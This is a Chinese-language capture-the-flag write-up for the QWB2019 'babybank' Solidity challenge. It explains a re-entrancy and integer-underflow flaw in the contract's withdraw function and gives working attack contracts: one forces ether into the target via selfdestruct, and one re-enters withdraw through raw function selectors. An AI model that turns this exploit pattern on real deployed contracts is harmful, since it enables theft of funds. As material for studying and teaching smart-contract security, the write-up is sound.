Re-Entrancy(1)

wiki部分

什么是重入攻击

假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。

参考文章 github题目 wp

QWB2019_babybank

合约地址0x666dD57a3aFf9768B08a80c55E2000a0a7740541 攻击账户0x16eBd81c05A40B5D8d52E190819Ef1071E23B1b1

源码如下

pragma solidity
{ #0}
.4.23;

contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    
    constructor()public{
        owner = msg.sender;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    
    //challenge 1 
    function profit() public{
        require(level[msg.sender]==0);
        require(uint(msg.sender) & 0xffff==0xb1b1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }
    
    //challenge 2
    function set_secret(uint new_secret) public onlyOwner{
        secret=new_secret;
    }
    function guess(uint guess_secret) public{
        require(guess_secret==secret);
        require(level[msg.sender]==1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }
    
    //challenge 3
    
    function transfer(address to, uint amount) public{
        require(balance[msg.sender] >= amount);
        require(amount==2);
        require(level[msg.sender]==2);
        balance[msg.sender] = 0;
        balance[to] = amount;
    }
    
    function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount*100000000000000)();
        balance[msg.sender] -= amount;
    }
}

分析

payforflag函数是我们的目标,但通常都会有限制,这题就一个要求balance[msg.sender] >= 10000000000,要求balance大于一个很大的数10000000000。

profit要求账户后缀为b1b1,同上一篇文章脚本使用即可生成,然后可以让balance,level都+1。

guess函数会验证secret值,而secret值由只能合约所有者调用的xxx函数赋予;且需要level=1,调用一次之后level提升为2,balance+1。

transfer转账函数,一次只能转2,并且要求level[msg.sender]==2。

withdraw函数就是漏洞点了,漏洞很明显存在重入攻击,并且balance可以下溢出,这样就和payforflag的要求对上了。但是这里需要注意一点合约本身没有eth,并且合约代码中并没有相关可以转入ETH的操作,所以需要用selfdestruct强制转入eth。同时函数要求amount==2。

所以攻击流程就出来了。

  • 先部署一个合约通过selfdestruct给题目合约进行转账
  • 然后切换后缀为b1b1的账户先调用profit(),再guess()。profit函数的绕过,可通过脚本(同上篇文章)获取一个符合条件的地址。guess函数的绕过,secret值在合约交易信息中可找到。
  • 利用transfer给攻击合约转账2,攻击合约即可重入

攻击

部署转账合约

pragma solidity
{ #0}
.4.23;

contract transfer_contract {
    address owner;
    constructor() {
        owner = msg.sender;
    }

    function () payable {

    }

    modifier Onlyowner(){
        require(msg.sender == owner);
        _;
    }

    function kill(address to) public payable  Onlyowner{
        selfdestruct(to);
    }
    
}

转账1 eth

查看题目合约交易信息发现secret为0x123564831521

依次调用profit(),guess函数。查看storage。

部署重入攻击合约

pragma solidity
{ #0}
.4.23;

contract exp{

    address instance_address = 0x666dD57a3aFf9768B08a80c55E2000a0a7740541;
    bool status = false;
    uint have_withdraw = 2;

    function pay() public {
        // withdraw
        if(have_withdraw >= 0 ){
            address(instance_address).call(bytes4(0x2e1a7d4d), 2);
            have_withdraw = have_withdraw -1 ;
        }

    }
    
    function getflag(string md5ofteamtoken,string b64email) public{
        address(instance_address).call(0x8c0320de,md5ofteamtoken,b64email);
    }
    function() payable {
        if (!status) {
            status = true;
            address(instance_address).call(bytes4(0x2e1a7d4d), 2);
        }
    }

}

利用transfer函数给攻击合约转2 amount,攻击合约调用pay()即可重入

查看storage,已经下溢出

最后调用攻击合约的getflag即可

可以看到交易中还有一个transfer调用,这是因为在payforflag中还存在owner.transfer(address(this).balance);清空合约余额的操作,可能是为了下一个做题者考虑。